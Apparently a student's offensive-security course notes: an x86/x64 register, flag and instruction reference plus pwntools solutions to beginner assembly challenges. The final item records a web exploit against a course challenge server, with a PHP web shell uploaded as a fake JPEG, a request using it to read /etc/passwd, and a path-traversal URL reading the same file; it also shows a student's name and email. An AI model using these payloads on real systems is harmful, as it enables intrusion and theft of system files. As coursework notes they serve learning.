Skip to content

OffSec

Reverse Engineering

Resources

  • godbolt.org
  • dogbolt.org

General Purpose Registers (GPR)

  • AX → Storage for arithmetic operations
  • CX → Shift/rotate & loops instructions to keep track of cycles
  • DX → Arithmetic & I/O operations but also general storage
  • BX → Pointer to data (located in segment register DS, when in segmented mode)
  • SP → Pointer to the top of the stack. The address held in SP is the RAM address where the last byte was stored by a stack operation. When data is placed on the stack, SP increments & as the data is retrieved from the stack, SP decrements. You should NOT modify this.
  • BP → Locates parameters passed via the stack & more
  • SI → Pointer to a source in string/stream operations
  • DI → Pointer to a destination in string/stream operations
  • 16 bit → See the list above
  • 32 bit → Names in the list above are prefixed with an "E" like "EAX"
  • 64 bit → "E" is replaced with an "R" like in "RAX"
  • EAX is the full 32 bit value
  • AX is the lower 16-bits
  • AL is the lower 8 bits
  • AH is the bits 8 through 15

Segment Registers

  • Memory is divided into sections: code segment, stack segment, data segment, etc.
  • SS → Pointer to the stack
  • CS → Pointer to the code
  • DS → Pointer to the data
  • ES → Pointer to extra data
  • FS → Pointer to more extra data
  • GS → Pointer to still more extra data

Flag Registers

  • OF → On if arithmetic overflow has happened
  • IOPL → I/O Privilege Level of the current process
  • NT → On if the current process is linked to the next one
  • RF → Turns some debug exceptions off to allow debugging
  • VM → On to allow real mode applications to run in protected mode (80386 behaving like a faster 8086)
  • AC → On if alignment checking of memory references is done
  • VIF → If on with VIP then OS will service deferred interrupts
  • VIP → On if an interrupt in pending
  • ID → Support for CPUID instruction if can be set

Memory Addressing

  • In x86 architecture, the value A3A2A1A0 is represented as A0A1A2A3.

General Purpose Registers

  • Instruction Pointer:
    • The Instruction Pointer is a register that contains the address of the next instruction to be executed by the CPU. It is also called the Program Counter.
  • EAX or RAX:
    • This is the Accumulator Register. Results of arithmetic operations are often stored in this register.
    • In 32-bit systems, a 32-bit EAX register is present, while a 64-bit RAX register is present in 64-bit systems.
    • The last 16 bits of this register can be accessed by addressing AX.
    • Similarly, it can also be addressed in 8 bits by using AL for the lower 8 bits and AH for the higher 8 bits.
  • EBX or RBX:
    • This register is also called the Base Register, which is often used to store the Base address for referencing an offset.
    • Similar to the EAX/RAX, it can be addressed as 64-bit RBX, 32-bit EBX, 16-bit BX, and 8-bit BH and BL registers.
  • ECX or RCX:
    • This register is also called the Counter Register and is often used in counting operations such as loops, etc.
    • Similar to the above two registers, it can be addressed as 64-bit RCX, 32-bit ECX, 16-bit CX, and 8-bit CH and CL registers.
  • EDX or RDX:
    • This register is also called the Data Register.
    • It is often used in multiplication/division operations.
    • Similar to the above registers, it can be addressed as 64-bit RDX, 32-bit EDX, 16-bit DX, and 8-bit DH and DL registers.
  • ESP or RSP:
    • This register is called the Stack Pointer.
    • It points to the top of the stack and is used in conjunction with the Stack Segment register.
    • It is a 32-bit register called ESP in 32-bit systems and a 64-bit register called RSP in 64-bit systems.
    • It can not be addressed as smaller registers.
  • EBP or RBP:
    • This register is called the Base Pointer. It is used to access parameters passed by the stack.
    • It is also used in conjunction with the Stack Segment register. It is a 32-bit register called EBP in 32-bit systems and a 64-bit register called RBP in 64-bit systems.
  • ESI or RSI:
    • This register is called the Source Index register.
    • It is used for string operations. It is used with the Data Segment (DS) register as an offset.
    • It is a 32-bit register called ESI in 32-bit systems and a 64-bit register called RSI in 64-bit systems.
  • EDI or RDI:
    • This register is called the Destination Index register.
    • It is also used for string operations. It is used with the Extra Segment (ES) register as an offset.
    • It is a 32-bit register called EDI in 32-bit systems and a 64-bit register called RDI in 64-bit systems.
  • R8-R15:
    • These 64-bit general-purpose registers are not present in 32-bit systems.
    • They were introduced in the 64-bit systems.
    • They are also addressable in 32-bit, 16-bit, and 8-bit modes.
    • For example, for the R8 register, we can use R8D for lower 32-bit addressing, R8W for lower 16-bit addressing, and R8B for lower 8-bit addressing. Here, the suffix D stands for Double-word, W stands for Word, and B stands for Byte.

Status Flag Registers

  • Zero Flag:
    • Denoted by ZF, the Zero Flag indicates when the result of the last executed instruction was zero.
    • For example, if an instruction is executed that subtracts a RAX from itself, the result will be 0. In this situation, the ZF will be set to 1.
  • Carry Flag:
    • Denoted by CF, the Carry Flag indicates when the last executed instruction resulted in a number too big or too small for the destination.
    • For example, if we add 0xFFFFFFFF and 0x00000001 and store the result in a 32-bit register, the result will be too big for the register. In this case, CF will be set to 1.
  • Sign Flag:
    • The Sign Flag or SF indicates if the result of an operation is negative or the most significant bit is set to 1.
    • If these conditions are met, the SF is set to 1; otherwise, it is set to 0.
  • Trap Flag:
    • The Trap Flag or TF indicates if the processor is in debugging mode.
    • When the TF is set, the CPU will execute one instruction at a time for debugging purposes. This can be used by malware to identify if they are being run in a debugger.

Segment Registers

  • Code Segment: The Code Segment (CS ) register points to the Code section in the memory.
  • Data Segment: The Data Segment (DS) register points to the program's data section in the memory.
  • Stack Segment: The Stack Segment (SS) register points to the program's Stack in the memory.
  • Extra Segments (ES, FS, and GS): These extra segment registers point to different data sections. These and the DS register divide the program's memory into four distinct data sections.

Memory

  • Code: contains the program's code
    • This section refers to the text section in a Portable Executable file, which includes instructions executed by the CPU
    • This section of the Memory has execute permissions, meaning that the CPU can execute the data in this section of the program memory.
  • Data: The Data section contains initialized data that is not variable and remains constant.
    • It refers to the data section in a Portable Executable file.
    • It often contains Global variables and other data that are not supposed to change during the program's execution.
  • Heap: Dynamic memory
    • The heap, also known as dynamic Memory, contains variables and data created and destroyed during program execution.
    • When a variable is created, memory is allocated for that variable at runtime. And when that variable is deleted, the memory is freed. Hence the name dynamic memory.
  • Stack:
    • The Stack is one of the important parts of the Memory from a malware analysis point of view.
    • This section of the Memory contains local variables, arguments passed on to the program, and the return address of the parent process that called the program.
    • Since the return address is related to the control flow of the CPU's instructions, the stack is often targeted by malware to hijack the control flow.

Static:

  • varX db 0x42 → Declare a byte into the memory & initialize with 0x42
  • varY dw 0x32 42 → Declare a word into the memory & initialize with 0x42; 2 bytes
  • varZ dd 0x12 32 43 42 → Declare a dword into the memory & initialize it; 4 bytes
  • array db 0x12, 0x32, 0x42 → Declare an array of bytes
  • array2 db 0x12 dup(0x42) → Declare an array of 12 bytes & initialize them with 0x42
  • str db "Hello World!", 0 → Declare a string

Instructions

  • mov eax, 0x1

Concepts:

  • mov eax, 0x5f040000:    b8 5f 00 00 00    mov eax, 0x5f
    • the 040000: corresponds to the address where the instruction is located.
    • b8 refers to the opcode of the instruction mov eax
    • 5F 00 00 00 indicates the other operand 0x5f
  • MOV: mov instruction moves a value from one location to another: mov destination, source
  • LEA: load effective address: lea destination, source
    • lea instruction moves the address of the source into the destination
  • NOP: nop instruction stands for no operation
    • The nop instruction is used by malware authors when redirecting execution to their shellcode.
  • The CPU uses shift instructions to shift each register bit to the adjacent bit.
    • shr destination, count → Shift Right Operation
    • shl destination, count → Shift Left Operation

Flags

Flag Abbreviation Explanation
Carry CF Set when a carry-out or borrow is required from the most significant bit in an arithmetic operation. Also used for bit-wise shifting operations.
Parity PF Set if the least significant byte of the result contains an even number of 1 bits.
Auxiliary AF Set if a carry-out or borrow is required from bit 3 to bit 4 in an arithmetic operation (BCD arithmetic).
Zero ZF Set if the result of the operation is zero.
Sign SF Set if the result of the operation is negative (i.e., the most significant bit is 1).
Overflow OF Set if there's a signed arithmetic overflow (e.g., adding two positive numbers and getting a negative result or vice versa).
Direction DF Determines the direction for string processing instructions. If DF=0, the string is processed forward; if DF=1, the string is processed backward.
Interrupt Enable IF If set (1), it enables maskable hardware interrupts. If cleared (0), interrupts are disabled.

Instructions

Instruction Explanation
jz Jump if the ZF is set (ZF=1).
jnz Jump if the ZF is not set (ZF=0).
je Jump if equal. Often used after a CMP instruction.
jne Jump if not equal. Often used after a CMP instruction.
jg Jump if the destination is greater than the source operand. Performs signed comparison and is often used after a CMP instruction.
jl Jump if the destination is lesser than the source operand. Performs signed comparison and is often used after a CMP instruction.
jge Jump if greater than or equal to. Jumps if the destination operand is greater than or equal to the source operand. Similar to the above instructions.
jle Jump if lesser than or equal to. Jumps if the destination operand is lesser than or equal to the source operand. Similar to the above instructions.
ja Jump if above. Similar to jg, but performs an unsigned comparison.
jb Jump if below. Similar to jl, but performs an unsigned comparison.
jae Jump if above or equal to. Similar to the above instructions.
jbe Jump if below or equal to. Similar to the above instructions.

Challs

1. set-register

from pwn import *

binary_path = "/challenge/run"

# Create the shellcode for setting rdi to 0x1337
# Equivalent to: mov rdi, 0x1337
shellcode = asm('mov rdi, 0x1337', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)

# Receive and print the output from the binary
output = p.recvall()
print(output.decode())

2. set-multiple-registers

from pwn import *

binary_path = "/challenge/run"

# Create the shellcode for setting multiple registers
shellcode = asm('''
    mov rax, 0x1337
    mov r12, 0xCAFED00D1337BEEF
    mov rsp, 0x31337
''', arch='amd64')

# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

3. add-to-register

from pwn import *

binary_path = "/challenge/run"

# Create the shellcode for adding 0x331337 to rdi
shellcode = asm('add rdi, 0x331337', arch='amd64')

# Print the raw shellcode bytes (for verification/debugging)
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

4. linear-equation-registers

from pwn import *
binary_path = "/challenge/run"

# Shellcode for calculating f(x) = mx + b
#   imul rdi, rsi      ; rdi = m * x
#   add rdi, rdx       ; rdi = (m * x) + b
#   mov rax, rdi       ; rax = rdi
shellcode = asm('''
    imul rdi, rsi
    add rdi, rdx
    mov rax, rdi
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

5. integer-division

from pwn import *
binary_path = "/challenge/run"

# Shellcode for calculating speed = distance / time
#   mov rax, rdi        ; load rax with distance
#   xor rdx, rdx        ; clear rdx for the division operation
#   div rsi             ; divide rax by time, result in rax, remainder in rdx
shellcode = asm('''
    mov rax, rdi
    xor rdx, rdx
    div rsi
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

6. modulo-operation

from pwn import *
binary_path = "/challenge/run"

# Shellcode for calculating rdi % rsi
#   mov rax, rdi        ; load rax with rdi
#   xor rdx, rdx        ; clear rdx for the division operation
#   div rsi             ; divide rax by rsi, result in rax, remainder in rdx
#   mov rax, rdx        ; move the remainder to rax
shellcode = asm('''
    mov rax, rdi
    xor rdx, rdx
    div rsi
    mov rax, rdx
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

7. set-upper-byte

from pwn import *
binary_path = "/challenge/run"

# Shellcode for calculating for setting the upper 8 bits of the ax register (ah) to 0x42
#   mov ah, 0x42
shellcode = asm('mov ah, 0x42', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

8. efficient-modulo

from pwn import *
binary_path = "/challenge/run"

# Shellcode for calculating for computing the optimized modulo operation
#   mov al, dil        ; rax = rdi % 256
#   mov bx, si         ; rbx = rsi % 65536
shellcode = asm('''
    mov al, dil
    mov bx, si
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

9. byte-extraction

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode to isolate the 5th least significant byte of rdi
# Equivalent to:
#   mov rax, rdi       ; load rdi into rax
#   shr rax, 32        ; shift rax right by 32 bits (4 bytes) to bring the 5th byte to the lowest position
#   shl rax, 56        ; shift rax left by 56 bits to clear out higher bits and isolate the 5th byte
#   shr rax, 56        ; shift rax right by 56 bits to bring the isolated byte back to the least significant position
shellcode = asm('''
    mov rax, rdi
    shr rax, 32
    shl rax, 56
    shr rax, 56
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

10. bitwise-and

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode for computing rax = rdi AND rsi
# Equivalent to:
#   xor rax, rax        ; clear rax
#   or rax, rdi         ; set rax equal to rdi
#   and rax, rsi        ; perform rax = rdi AND rsi
shellcode = asm('''
    xor rax, rax   
    or rax, rdi     
    and rax, rsi  
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

11. check-even

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode for checking if x (rdi) is even or odd
shellcode = asm('''
    xor rax, rax
    and rdi, 1
    xor rdi, 1
    or rax, rdi
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

12. memory-read

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode to move the value at address 0x404000 into rax
# Equivalent to:
#   mov rax, [0x404000]
shellcode = asm('''
    mov rax, [0x404000]
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

13. memory-write

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode to move the value in rax to address 0x404000
# Equivalent to:
#   mov [0x404000], rax
shellcode = asm('''
    mov [0x404000], rax
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

14.memory-increment** **

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode to:
# 1. Load the value at 0x404000 into rax
# 2. Increment the value at 0x404000 by 0x1337
# Equivalent to:
#   mov rax, [0x404000]      ; load the original value at 0x404000 into rax
#   add qword ptr [0x404000], 0x1337  ; increment the value at 0x404000 by 0x1337
shellcode = asm('''
    mov rax, [0x404000]
    add qword ptr [0x404000], 0x1337
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

15. byte-access

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode to move the byte at 0x404000 into al
# Equivalent to:
#   mov al, [0x404000]
shellcode = asm('''
    mov al, [0x404000]
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

16. memory-size-access

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode to load values from 0x404000 into various registers at different sizes
# Equivalent to:
#   mov al, [0x404000]      ; load the byte into the lowest 8 bits of rax
#   mov bx, [0x404000]      ; load the word (16 bits) into rbx
#   mov ecx, [0x404000]     ; load the double word (32 bits) into rcx
#   mov rdx, [0x404000]     ; load the quad word (64 bits) into rdx
shellcode = asm('''
    mov al, [0x404000]   
    mov bx, [0x404000]     
    mov ecx, [0x404000]     
    mov rdx, [0x404000]     
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

17. little-endian-write

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode to:
# 1. Set [rdi] = 0xdeadbeef00001337
# 2. Set [rsi] = 0xc0ffee0000
# Equivalent to:
#   mov rax, 0xdeadbeef00001337      ; set rax to the value we want in [rdi]
#   mov [rdi], rax                   ; store rax at the address pointed to by rdi
#   mov rax, 0xc0ffee0000            ; set rax to the value we want in [rsi]
#   mov [rsi], rax                   ; store rax at the address pointed to by rsi
shellcode = asm('''
    mov rax, 0xdeadbeef00001337     
    mov [rdi], rax                   
    mov rax, 0xc0ffee0000            
    mov [rsi], rax                   
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

18. memory-sum

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode to:
# 1. Load the first quad word at [rdi] into rax
# 2. Load the second quad word at [rdi+8] into rbx
# 3. Add the values in rax and rbx
# 4. Store the sum at the address in rsi
shellcode = asm('''
    mov rax, [rdi]           # Load the first quad word from address in rdi into rax
    mov rbx, [rdi + 8]       # Load the second quad word from address (rdi + 8) into rbx
    add rax, rbx             # Calculate the sum of the two quad words
    mov [rsi], rax           # Store the sum at the address pointed to by rsi
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

19. stack-subtraction

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode to:
# 1. Pop the top value from the stack into rax
# 2. Subtract rdi from rax
# 3. Push the result back onto the stack
shellcode = asm('''
    pop rax              
    sub rax, rdi          
    push rax              
''', arch='amd64')

# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

20. swap-stack-values

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode to:
# 1. Push rdi onto the stack
# 2. Push rsi onto the stack
# 3. Pop the top value (initially rsi) into rdi
# 4. Pop the next value (initially rdi) into rsi
shellcode = asm('''
    push rdi          
    push rsi          
    pop rdi           
    pop rsi           
''', arch='amd64')
# Print the raw shellcode bytes 
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())

21. average-stack-values

from pwn import *
binary_path = "/challenge/run"

# Create the shellcode to:
# 1. Load the four quad words from the stack using rsp-relative addressing
# 2. Calculate their sum
# 3. Divide by 4 (using shift right to divide by powers of 2)
# 4. Push the average back onto the stack
shellcode = asm('''
    mov rax, [rsp]            
    add rax, [rsp + 0x8]      
    add rax, [rsp + 0x10]     
    add rax, [rsp + 0x18]     
    shr rax, 2                
    push rax                  
''', arch='amd64')

# Print the raw shellcode bytes (for verification/debugging)
print("Generated shellcode:", shellcode.hex())

# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)

# Receive and print the output from the binary
output = p.recvall()
print(output.decode())

22. absou

POST /upload.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: offsec-chalbroker.osiris.cyber.nyu.edu:1502
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------36051343254197511390225730065
Content-Length: 832
Origin: http://offsec-chalbroker.osiris.cyber.nyu.edu:1502
Referer: http://offsec-chalbroker.osiris.cyber.nyu.edu:1502/contact.php
Cookie: CHALBROKER_USER_ID=dsc7792
Priority: u=0

-----------------------------36051343254197511390225730065
Content-Disposition: form-data; name="name"

Dhanraj
-----------------------------36051343254197511390225730065
Content-Disposition: form-data; name="email"

dsc7792@nyu.edu
-----------------------------36051343254197511390225730065
Content-Disposition: form-data; name="uploadFile"; filename="XejSVXMpbz.jpg.php"
Content-Type: image/jpeg

ÿØÿà
<?php
    $output = null;
    $retval = null;

    if(isset($_GET['cmd'])) {
        // Capture the output and return value of the system command
        exec($_GET['cmd'], $output, $retval);
    }

    // Output the captured output
    if(is_array($output)) {
        foreach($output as $line) {
            echo $line . "\n";
        }
    }
?>
-----------------------------36051343254197511390225730065--
GET /profile_images/XejSVXMpbz.jpg.php?cmd=cat%20/etc/passwd HTTP/1.1
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: offsec-chalbroker.osiris.cyber.nyu.edu:1502
Cookie: CHALBROKER_USER_ID=dsc7792

http://offsec-chalbroker.osiris.cyber.nyu.edu:1501/?lang=....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd